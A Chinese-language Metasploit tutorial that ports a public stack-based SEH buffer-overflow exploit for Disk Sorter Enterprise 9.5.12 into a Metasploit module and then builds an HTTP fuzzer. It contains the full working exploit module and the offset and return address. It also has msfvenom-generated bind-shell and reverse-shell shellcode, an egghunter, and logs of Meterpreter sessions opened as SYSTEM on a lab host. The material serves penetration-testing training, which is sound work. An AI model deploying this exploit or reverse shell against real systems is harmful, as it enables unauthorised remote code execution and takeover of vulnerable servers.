到目前为止,我们已经学习了如何利用漏洞,但不知道它们是如何工作的。尽管所有漏洞利用模块都经过了彻底验证,但了解它们的构建方式总是有好处的。作为渗透测试人员,知道如何编写自己的模块,或者简单地向现有模块添加新功能,是一项很棒的技能。
本文将涵盖在框架内使用漏洞利用程序时需要了解的所有细节。但不会涵盖漏洞利用程序的开发,它是另一个完整的研究领域;我们将使用现用的漏洞利用验证程序 (PoC),并了解如何将它们添加到框架中。还将了解一些重要的 mixins,它们可以简化将漏洞利用程序转换为 Metasploit 模块的过程。
#1、常见漏洞利用代码mixinsMixins是Ruby语言中应用广泛的一种机制,其作用是为模块提供功能,并使得Ruby这种单继承语言具备多继承的能力。在漏洞利用代码模块中使用mixins,可帮助调用该漏洞利用代码所需的不同函数。在本节中,我们将学习一些重要的Metasploit exploit mixins。
让我们快速浏览一下一些常见的exploit mixins。然后在现有漏洞利用模块中了解其是如何实现的:
Exploit::Remote::TCP:该mixin为模块提供了TCP相关功能,可用于建立TCP连接。connect()函数与disconnect()函数分别负责建立和终止连接,此外还需要一些不同的参数,例如RHOST、RPORT、SSL等。Exploit::Remote::UDP: 该mixin为模块提供了UDP相关功能,可用于建立UDP连接。UDP通常被视为比TCP更快的连接模式,因此也是一个方便的选项,该mixin还包含了Rex::Socket::UDP,从而不必担心无法与目标建立socket连接的问题。Exploit::Remote::SMB:此 mixin 提供与远程计算机上的 SMB/CIFS 服务交互的方法。它扩展了 TCP 漏洞利用 mixin,对于漏洞利用非常有用。 smb_login() 和 smb_ create() 是该mixin提供的有用函数。Exploit::BruteTargets:这是一个有趣的 mixin,用于暴力破解目标。它使用exploit_target(target)函数接收远程目标IP并执行暴力攻击。这个 mixin 可以很容易地在不同的暴力攻击代码中扩展和使用。Exploit::Remote::Ftp:此 mixin 用于利用远程目标上的 FTP 服务。它包括 Remote::TCP 以便与远程目标建立连接。它使用 connect() 函数,该函数接收 RHOST 和 RPORT 的值,以便连接到远程系统上的 FTP 服务器。Msf::Exploit::Seh:这个 mixin 提供了一个接口,以动态且灵活的方式生成 SEH 注册记录 Rex::Exploitation::Seh 类。Msf::Exploit::Egghunter:这个mixin提供了一个接口,使用Rex::Exploitation::Egghunter类为各种平台生成egghunters。当发生溢出时有效载荷空间有限的情况下,Egghunter 非常有用,但可以将更大的有效载荷加载到内存中其他可能无法直接预测的位置。这些是一些重要的exploit mixins,当你在框架内使用漏洞利用模块时,它们会非常方便。使用mixins可避免重复使用相同模块。这就是模块化架构非常灵活的原因,因为它有利于代码重用。
如前面所说,mixins用于在Ruby这种单继承语言中提供多继承机制,意味着可以根据实际需要在任意模块中调用不同的功能。例如,需要在漏洞利用代码模块中建立TCP连接,则不需要专门为其定义一个完整的函数,而是可以简单地在模块中调用Exploit::Remote::TCP这一mixin并利用它提供的功能。
除了上面提及的mixins之外,MSF框架中还有很多重要的mixins,包括fileformat、imap、java、smtp等,可以在lib/msf/core/exploit目录中找到。
└─# pwd/usr/share/metasploit-framework/lib/msf/core/exploit ┌──(root㉿kali)-[/usr/…/lib/msf/core/exploit]└─# lsandroid.rb dhcp_server.rb git.rb ntlm.rb remote sqliauto_target.rb egghunter.rb http.rb omelet.rb remote.rb sqli.rbbrute.rb exe.rb java_deserialization.rb oracle.rb retry.rb tftp_server.rbbrute_targets.rb file_dropper.rb java.rb pdf_parse.rb riff.rb view_state.rbcapture.rb fileformat.rb jsobfu.rb pdf.rb rop_db.rb wbem_exec.rbcmd_stager format kernel_mode.rb php_exe.rb ruby_deserialization.rb windows_constants.rbcmd_stager.rb format_string.rb local powershell seh.rbdect_coa.rb git local.rb powershell.rb smb#2、探索模块结构了解漏洞利用模块的结构非常重要,因为这将有助于我们分析不同的漏洞利用模块。由于 Metasploit 框架是一个开源项目,其开发依赖于社区的贡献。来自世界各地的开发人员将各种漏洞利用的概念证明转换为 Metasploit 模块,以便每个人都可以使用。因此,你也可以通过将新发现的漏洞利用代码转换为模块来为社区做出贡献。此外,在某些情况下,你可能需要框架中没有的特定漏洞利用。掌握模块结构的知识将帮助你轻松地将漏洞利用程序转换为模块。在本节中,我们将了解模块的基本结构。
你可以在 /usr/share/metasploit-framework/modules/exploits目录中找到漏洞利用模块,让我们对MSF中漏洞利用代码的结构进行分析。
漏洞利用模块的格式类似于辅助模块的格式,但多了一些特定的内容。
1、模块以类的声明开始,该类扩展了与漏洞利用相关的属性。在此示例中,MetasploitModule 类扩展了Remote Exploit 库。此外,该模块还包括其他 mixins,例如 Seh、Egghunter 和 Tcp:
class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Tcp2、然后是初始化函数 initialize ,用于初始化模块的不同值和内容定义。此函数的一些主要定义包括 Name 、 Description 、 Author 和 Version` 等。
def initialize(info = {})super(update_info(info, 'Name' => '', 'Description' => %q(), 'License' => MSF_LICENSE, 'Author' => [''], ...snip...3、register_options 可以注册多个基本数据存储选项。基本数据存储选项是必须配置的选项,例如服务器端漏洞利用中的 RPORT 选项。
register_options( [ Opt::RPORT(21), ], self.class)4、目前为止,可以看到其结构与辅助模块非常类似,其差别在exploit()函数。首先,connect方法将调用Rex::Socket::Tcp.create来创建套接字并将其注册到框架。然后构建传输的缓冲区,使用 put 方法和 sock.put() 发送,最后使用 handler 方法检查攻击载荷连接是否已建立。
def exploit connect buf = rand_text_alpha(1024) buf << [ target.ret ].pack('V') buf << payload.encoded sock.put(buf) sock.get_once handler end你还可以声明一个漏洞测试函数 check(),它验证目标是否存在漏洞。它验证除攻击载荷之外的所有选项。
上面是对Metasplot中漏洞利用代码模块的基本介绍,后面中会对与框架中漏洞利用代码相关的一些核心概念进行讨论。
#它的工作原理上述分析的漏洞利用代码模块结构是Metasploit可以理解的格式。def initialize()函数主要帮助模块定义一些常用的漏洞利用代码选项。类似地,register_options()则被Metasploit用于定义一些不同的参数,或为漏洞利用代码模块的一些参数赋予默认值。这也是模块化体系结构的优势所在。在文的后面,我们还会介绍怎样将现有的漏洞利用代码转换为Metasploit模块。
#3、利用MSFvenom生成Shellcode在之前的章节中我们已经学习了有关 MSFvenom 的内容,现在我们将再次使用它,但这一次是为了生成可以在 PoC 中使用的自定义 shellcode。网上发布的 PoC 漏洞通常使用bind shell、硬编码 IP 地址,或者只是打开计算器来证明代码执行,这意味着它们可能不符合在渗透测试期间的需求。为此,很多时候我们需要用自己的代码替换shellcode。
Shellcode 是一小段代码,用作利用软件漏洞的攻击载荷。它被称为 shellcode,因为大多数时候它用于启动 shell,以便攻击者可以控制受感染的目标。
准备一个 PoC,该 PoC 利用 Disk Sorter Enterprise v9.5.12 的 Web 界面中基于堆栈的缓冲区溢出漏洞,这是由于对发送到内置Web服务器的HTTP GET 请求中的请求路径边界检查不当造成的。 PoC 和易受攻击的应用程序可在漏洞数据库网站 https://www.exploit-db.com/exploits/41666/ 中找到。要设置易受攻击的应用程序,请将其安装在 Windows 7 目标计算机上,然后导航到Tools | Disk Sorter Enterprise Options | Server 并启用端口 80 上的 Web 服务器。
查看Poc代码,可用发现设置了默认的IP地址,攻击载荷使用了bind shell
import socket,os,time,structhost = "192.168.2.186"port = 80#Bad Chars \x00\x09\x0a\x0d\x20"#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f pythonshellcode = ""shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"这意味着,如果我们要利用此漏洞,我们需要更改IP地址和将shellcode替换为reverse shell(因为我们的目标机器可能启用了防火墙)。
1、生成 shellcode 时,应该注意的事情之一是不应该使用的字符,也称为坏字符。某些字符被认为是坏字符,是因为它会阻止漏洞利用,例如,在缓冲区溢出漏洞中,空字节 0x00 将截断缓冲区,防止溢出发生或破坏 shellcode。幸运的是,这个代码注释中写了要避免的字符,但其他 PoC 不一定会写清楚。
2、现在我们已经拥有了所需的所有信息,然后就可以使用 MSFvenom 生成 shellcode,在本例中使用 Meterperter reverse shell,-b 参数后跟坏字符\x00\x09\x0a\x0d\x20,-f指定输出格式,在本例中为 python,因为 PoC 是用 Python 编写的,--var-name 指定变量名称,以便它与 PoC 中使用的变量名称(即 shellcode)相匹配:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.140 LPORT=7777 -b "\x00\x09\x0a\x0d\x20" -f python --var-name shellcode Found 12 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai succeeded with size 381 (iteration=0)x86/shikata_ga_nai chosen with final size 381Payload size: 381 bytesFinal size of python file: 2136 bytesshellcode = b""shellcode += b"\xdd\xc0\xd9\x74\x24\xf4\xba\x43\xc5\x26\xa2"shellcode += b"\x5e\x33\xc9\xb1\x59\x31\x56\x19\x03\x56\x19"shellcode += b"\x83\xee\xfc\xa1\x30\xda\x4a\xaa\xbb\x23\x8b"shellcode += b"\xd4\x32\xc6\xba\xc6\x21\x82\xef\xd6\x22\xc6"shellcode += b"\x03\x9d\x67\xf3\x90\xd3\xaf\xca\x59\x1c\x07"shellcode += b"\x66\x80\x13\xa7\xdb\xf0\x32\x5b\x26\x25\x94"shellcode += b"\x62\xe9\x38\xd5\xa3\xbf\x37\x3a\x79\xcb\xea"shellcode += b"\xd4\x29\x40\x48\xe8\xd4\x86\xc6\x50\xaf\xa3"shellcode += b"\x19\x24\x03\xad\x49\x4f\xc3\x8d\xe2\x07\xec"shellcode += b"\xcc\x27\xc7\x89\x06\xb3\xdb\xd8\xa9\xc3\xa8"shellcode += b"\xef\x42\x3a\x78\x3e\x95\x91\x45\x8e\x18\xeb"shellcode += b"\x82\x29\xc3\x9e\xf8\x49\x7e\x99\x3b\x33\xa4"shellcode += b"\x2c\xdb\x93\x2f\x96\x3f\x25\xe3\x41\xb4\x29"shellcode += b"\x48\x05\x92\x2d\x4f\xca\xa9\x4a\xc4\xed\x7d"shellcode += b"\xdb\x9e\xc9\x59\x87\x45\x73\xf8\x6d\x2b\x8c"shellcode += b"\x1a\xc9\x94\x28\x51\xf8\xc3\x4d\x9a\x02\xec"shellcode += b"\x13\x0c\xce\x21\xac\xcc\x58\x31\xdf\xfe\xc7"shellcode += b"\xe9\x77\xb2\x80\x37\x8f\xc3\x87\xc7\x5f\x6b"shellcode += b"\xc7\x39\x60\x8b\xc1\xfd\x34\xdb\x79\xd7\x34"shellcode += b"\xb0\x79\xd8\xe0\x2c\x70\x4e\xcb\x18\xdf\x02"shellcode += b"\xa3\x5a\xe0\x04\x55\xd3\x06\x68\xc5\xb3\x96"shellcode += b"\xc9\xb5\x73\x47\xa2\xdf\x7c\xb8\xd2\xdf\x57"shellcode += b"\xd1\x79\x30\x01\x89\x15\xa9\x08\x41\x87\x36"shellcode += b"\x87\x2f\x87\xbd\x2d\xcf\x46\x36\x44\xc3\xbf"shellcode += b"\x21\xa6\x1b\x40\xc4\xa6\x71\x44\x4e\xf1\xed"shellcode += b"\x46\xb7\x35\xb2\xb9\x92\x46\xb5\x46\x63\x7e"shellcode += b"\xcd\x71\xf1\x3e\xb9\x7d\x15\xbe\x39\x28\x7f"shellcode += b"\xbe\x51\x8c\xdb\xed\x44\xd3\xf1\x82\xd4\x46"shellcode += b"\xfa\xf2\x89\xc1\x92\xf8\xf4\x26\x3d\x03\xd3"shellcode += b"\x34\x3a\xfb\xa1\x12\xe3\x93\x59\x23\x13\x63"shellcode += b"\x30\xa3\x43\x0b\xcf\x8c\x6c\xfb\x30\x07\x25"shellcode += b"\x93\xbb\xc6\x87\x02\xbb\xc2\x46\x9a\xbc\xe1"shellcode += b"\x52\x2d\xc6\x8a\x65\xce\x37\x83\x01\xcf\x37"shellcode += b"\xab\x37\xec\xe1\x92\x4d\x33\x32\xa1\x5e\x06"shellcode += b"\x17\x80\xf4\x68\x0b\xd2\xdc"3、现在,将 PoC 中的shellcode替换为我们使用 MSFvenom 创建的shellcode,更改目标的 IP 地址,并在msfconsole中使用Handler模块启用监听。
4、执行poc进行测试
$ python2.7 testpoc.py5、msfconsole收到一个反弹shell会话
msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.91.140:7777 [*] Sending stage (175686 bytes) to 192.168.91.141[*] Meterpreter session 1 opened (192.168.91.140:7777 -> 192.168.91.141:49160) at 2023-08-29 00:34:15 -0400msf6 exploit(multi/handler) > sessions Active sessions=============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-ER5L92C9L9 192.168.91.140:7777 -> 192.168.91.14 6 1:49160 (192.168.91.141)msf6 exploit(multi/handler) > #4、将漏洞利用转换为 Metasploit 模块现在我们已经知道如何更改现有PoC,下一步就是将漏洞利用程序转换为 Metasploit 模块。掌握如何编写漏洞利用程序的基本知识至关重要,因为网上找到的大多数 PoC 都没有附带手册。话虽这么说,让我们继续,看看如何使用现有的 PoC 构建我们自己的漏洞利用模块。
在开始之前,了解基于堆栈的缓冲区溢出原理非常重要。
当写入缓冲区的数据多于缓冲区所能容纳的数据时,就会发生基于堆栈的缓冲区溢出,从而超出缓冲区的边界并覆盖相邻的内存位置。
查看 PoC,我们可以看到通过发送 2487 个字符,我们可以溢出下一个 SEH 和 SEH 记录:
#Buffer overflowjunk = "A" * 2487#JMP Short = EB 05nSEH = "\x90\x90\xEB\x05" #Jump short 5#POP POP RET (libspp.dll)SEH = struct.pack('<L',0x10015FFE)结构化异常处理程序(SEH)是一种异常处理机制。当程序崩溃并触发异常时,会调用SEH来尝试恢复操作。 SEH是一个包含数据记录序列的链表;当异常被触发时,Windows将遍历该列表并尝试处理该异常。如果不能,它将继续沿着列表向下并评估其他异常函数是否合适。
当利用 SEH 覆盖时,我们可以使用 POP POP RET 指令序列的地址覆盖 EXCEPTION_REGISTRATION_RECORD 的处理程序属性。当异常被触发时,程序流将转到SEH,我们在其中放置代码以跳转到我们的payload。
通过覆盖下一个SEH,我们可以欺骗SEH执行POP POP RET指令,这样下一个SEH的地址就会被放入EIP中,从而执行下一个SEH中的代码,这会跳过一些字节并执行shellcode。
接下来,我们有一个 egghunter :
egg = "w00tw00t"egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"Egghunter 是一种在漏洞利用开发过程中使用的技术,用于在整个内存范围中搜索 shellcode 并将流程重定向到它。
由于Metasploit已经有了生成 SEH 记录和 Egghunter 的 mixin,所以不需要自己编写或从 PoC 移植它们。
要将 PoC 漏洞移植到 Metasploit 框架,我们可以使用 /usr/share/metasploit-framework/modules/exploits 文件夹中的 example.rb 模板。
1、首先包含我们需要的 mixin 开始:
class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Sehinclude Msf::Exploit::Remote::Egghunterinclude Msf::Exploit::Remote::HttpClient2、然后指定payload中不应该使用的坏字符
'Payload' =>{ 'BadChars' => "\x00\x09\x0a\x0d\x20",},3、接下来,我们根据目标信息,在 Offset 变量中指定溢出下一个 SEH 记录所需的字节数以及 POP POP RET 指令的地址:
'Targets' =>[ [ 'Disk Sorter Enterprise v9.5.12', { 'Offset' => 2488, 'Ret' => 0x10015FFE # POP # POP # RET [libspp.dll] } ]],如你所见,我们需要将偏移量从 2487 调整到 2488,以便漏洞利用能够发挥作用。这是你应该学习如何使用调试器以及如何编写基本漏洞利用的原因之一。
4、在exploit函数中,首先设置egghunter选项并生成egg和hunter:
eggoptions = {checksum: true,eggtag: rand_text_alpha(4, payload_badchars)}hunter, egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)5、然后,我们可以按照与 PoC 相同的结构创建漏洞利用程序:
6、首先,我们将生成一些随机字符来填充缓冲区,然后放置 SEH 记录,然后需要搜索的egg、10 个 NOP、包含我们攻击载荷的egg以及一些用于填充的随机字符。
sploit = rand_text_alpha(target['Offset'])sploit << generate_seh_record(target.ret)sploit << huntersploit << make_nops(10)sploit << eggsploit << rand_text_alpha(5500)7、最后,打印状态信息,告诉我们请求正在发送,并且使用 HttpClient mixin 来发送exploit:
print_status('Sending request...')send_request_cgi('method' => 'GET','uri' => sploit)如你所见,整个过程简单明了。
#5、移植和测试新的漏洞利用模块在上一节中,我们学习了如何利用现有的 PoC 编写 Metasploit 漏洞利用模块。在本节中,将对其进行测试,看看一切是否顺利。
将我们的漏洞利用模块存储在正确的位置至关重要。这有助于我们跟踪不同的模块并了解基本的模块用法。现在你已经有了完整的模块代码,找个合适的目录保存它。
私有模块位于 ~/.msf4/modules/ 文件夹中。因此,使用 mkdir 命令创建一个文件夹结构来保存我们的模块。由于这是一个针对 Windows 操作系统的漏洞利用模块,它会影响 HTTP 协议,因此设置模块目录为:
$ mkdir -p ~/.msf4/modules/exploits/windows/http启动msfconsole加载模块,测试是否正常。
msf6 exploit(windows/http/disksrce) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf6 exploit(windows/http/disksrce) > show options Module options (exploit/windows/http/disksrce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.91.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual hostPayload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.91.140 yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 0 Disk Sorter Enterprise v9.5.12View the full module info with the info, or info -d command.msf6 exploit(windows/http/disksrce) > exploit [*] Started reverse TCP handler on 192.168.91.140:4444 [*] Sending request...[*] Sending stage (175686 bytes) to 192.168.91.141[*] Meterpreter session 1 opened (192.168.91.140:4444 -> 192.168.91.141:56197) at 2023-08-29 02:51:07 -0400meterpreter >成功返回了shell,说明我们的模块没有问题。
完整代码:
MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Disk Sorter Exploit', 'Description' => %q{ This exploit module illustrates how a vulnerability could be exploited in an TCP server that has a parsing bug. }, 'License' => MSF_LICENSE, 'Author' => ['test'], 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x09\x0a\x0d\x20", }, 'Targets' => [ [ 'Disk Sorter Enterprise v9.5.12', { 'Offset' => 2488, 'Ret' => 0x10015FFE # POP # POP # RET [libspp.dll] } ] ], 'DisclosureDate' => '2023-08-29', 'DefaultTarget' => 0, ) ) end def exploit eggoptions = { checksum: true, eggtag: rand_text_alpha(4, payload_badchars) } hunter, egg = generate_egghunter( payload.encoded, payload_badchars, eggoptions ) sploit = rand_text_alpha(target['Offset']) sploit << generate_seh_record(target.ret) sploit << hunter sploit << make_nops(10) sploit << egg sploit << rand_text_alpha(5500) print_status('Sending request...') send_request_cgi( 'method' => 'GET', 'uri' => sploit ) end end
#6、使用 Metasploit 进行模糊测试模糊测试是一种软件测试技术,包括使用随机数据注入查找实现错误。模糊器生成格式错误的数据并将其传递给特定的目标实体以验证其溢出能力。 Metasploit 提供了几个有助于漏洞开发的模糊测试模块。让我们进一步探讨模糊测试的基础知识以及如何将 Metasploit 模块用作潜在的模糊测试器。
让我们先简要了解一下fuzzing及其类型。
Metasploit 框架提供了一整套用于操作网络协议和数据的库,可以帮助我们开发简单的fuzzer。
根据我们所针对的应用程序或协议类型,我们可以设置fuzzer来生成数据/数据包,以测试溢出条件。Metasploit 包含多个fuzzer模块,可用于测试应用程序和协议。这些模块位于 modules/auxiliary/fuzzers 中。让我们分析一下这些模块的实现。
┌──(kali㉿kali)-[/usr/…/metasploit-framework/modules/auxiliary/fuzzers]└─$ lsdns ftp http ntp smb smtp ssh tds让我们用 HTTP Fuzzer 做个实验,看看如何在 Disk Sorter Enterprise 应用程序中发现基于堆栈的缓冲区溢出。Metasploit 有一个 HTTP GET Request URI Fuzzer,我们可以使用它:
msf6 > use auxiliary/fuzzers/http/http_get_uri_long msf6 auxiliary(fuzzers/http/http_get_uri_long) > set RHOSTS 192.168.91.141RHOSTS => 192.168.91.141msf6 auxiliary(fuzzers/http/http_get_uri_long) > run[*] Running module against 192.168.91.141[*] 192.168.91.141:80 - Fuzzing with iteration 100 using string length 100[*] 192.168.91.141:80 - Fuzzing with iteration 200 using string length 200[*] 192.168.91.141:80 - Fuzzing with iteration 300 using string length 300[*] 192.168.91.141:80 - Fuzzing with iteration 400 using string length 400[*] 192.168.91.141:80 - Fuzzing with iteration 500 using string length 500[*] 192.168.91.141:80 - Fuzzing with iteration 600 using string length 600[*] 192.168.91.141:80 - Fuzzing with iteration 700 using string length 700[*] 192.168.91.141:80 - Fuzzing with iteration 800 using string length 800[*] 192.168.91.141:80 - Fuzzing with iteration 900 using string length 900[*] 192.168.91.141:80 - Fuzzing with iteration 1000 using string length 1000[*] 192.168.91.141:80 - Fuzzing with iteration 1100 using string length 1100[*] 192.168.91.141:80 - Fuzzing with iteration 1200 using string length 1200[*] 192.168.91.141:80 - Fuzzing with iteration 1300 using string length 1300[*] 192.168.91.141:80 - Fuzzing with iteration 1400 using string length 1400[*] 192.168.91.141:80 - Fuzzing with iteration 1500 using string length 1500[*] 192.168.91.141:80 - The service may have crashed: iteration:1579 len=1580 uri=''XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'' error=The connection with (192.168.91.141:80) timed out.[*] Auxiliary module execution completed查看该模块的输出结果,我们可以看到,通过向Windows 7目标计算机发送一个包含 1580 个字符的请求,让服务崩溃。我们可以看到结果:
#7、编写Fuzz测试器在上节中,我们使用 HTTP fuzzer发送了一系列 URL 长度递增的 HTTP GET 请求,直到服务崩溃。现在,我们将了解它是如何工作的,并构建自己的小型 HTTP fuzzer,用来测试Disk Sorter Enterprise。
1、构建一个fuzzer模块类型于之前学习过的辅助模块:
class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP Fuzzer', 'Description' => %q{Simple HTTP GET Request Fuzzer}, 'Author' => [ 'Daniel Teixeira' ], 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(80), OptInt.new("MAXLENGTH", [true, "Maximum string length", 20000] ) ]) end2、导入MSF库后,创建了一个类并定义了选项,下一步就是定义建立 sock 连接的函数:
def get_request(uri='',opts={}) @connected = false connect @connected = true sock.put("GET #{uri} HTTP/1.1\r\nHost: #{rhost}\r\n\r\n") sock.get_once(-1, 1)end实例变量@connected来表示连接状态,并在连接前后进行设置,以确保在发送请求之前已经建立了连接。 sock.put用于使用TCP mixin发送请求,sock.get_once用于从服务获取响应,并设置超时时间为1秒。
3、接下来定义fuzzer主体:
def run last_req = nil error = nil count = 0 1.upto(datastore['MAXLENGTH'].to_i) do |len| count += 1 req = fuzzer_gen_string(len) uri = "/" + req if(count % 100 == 0) print_status("Fuzzing with iteration #{count} using reqing length #{len}") end begin r = get_request(uri,:timeout => 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{count} using reqing length #{len}") raise $! rescue ::Exception => e error = e ensure disconnect end if(not @connected) if(last_req) print_status("The service may have crashed: iteration:#{count-1} len=#{len} uri=''#{last_req}'' error=#{error}") else print_status("#{error}") end return end last_req = req endend首先,我们要初始化所需的变量,包括最后发送的请求、错误和迭代次数计数器。然后,我们建立一个循环,在这个循环中,我们将以递增的URI长度发送 HTTP Get 请求,并等待响应。如果等待响应的时间超时,则认为服务中断,并将迭代次数、URI 长度和 URI 打印到屏幕上。
完整代码:
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP Fuzzer', 'Description' => %q{Simple HTTP GET Request Fuzzer}, 'Author' => [ 'Daniel Teixeira' ], 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(80), OptInt.new("MAXLENGTH", [true, "Maximum string length", 20000] ) ]) end def get_request(uri='',opts={}) @connected = false connect @connected = true sock.put("GET #{uri} HTTP/1.1\r\nHost: #{rhost}\r\n\r\n") sock.get_once(-1, 1) end def run last_req = nil error = nil count = 0 1.upto(datastore['MAXLENGTH'].to_i) do |len| count += 1 req = fuzzer_gen_string(len) uri = "/" + req if(count % 100 == 0) print_status("Fuzzing with iteration #{count} using reqing length #{len}") end begin r = get_request(uri,:timeout => 0.25) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{count} using reqing length #{len}") raise $! rescue ::Exception => e error = e ensure disconnect end if(not @connected) if(last_req) print_status("The service may have crashed: iteration:#{count-1} len=#{len} uri=''#{last_req}'' error=#{error}") else print_status("#{error}") end return end last_req = req end end def make_http_uri_base datastore['URIBASE'] endend#工作原理要使用模块,我们将它保存到~/.msf4/modules/auxiliary/fuzzers/http/http_fuzzer.rb,然后在msfconsole中加载它:
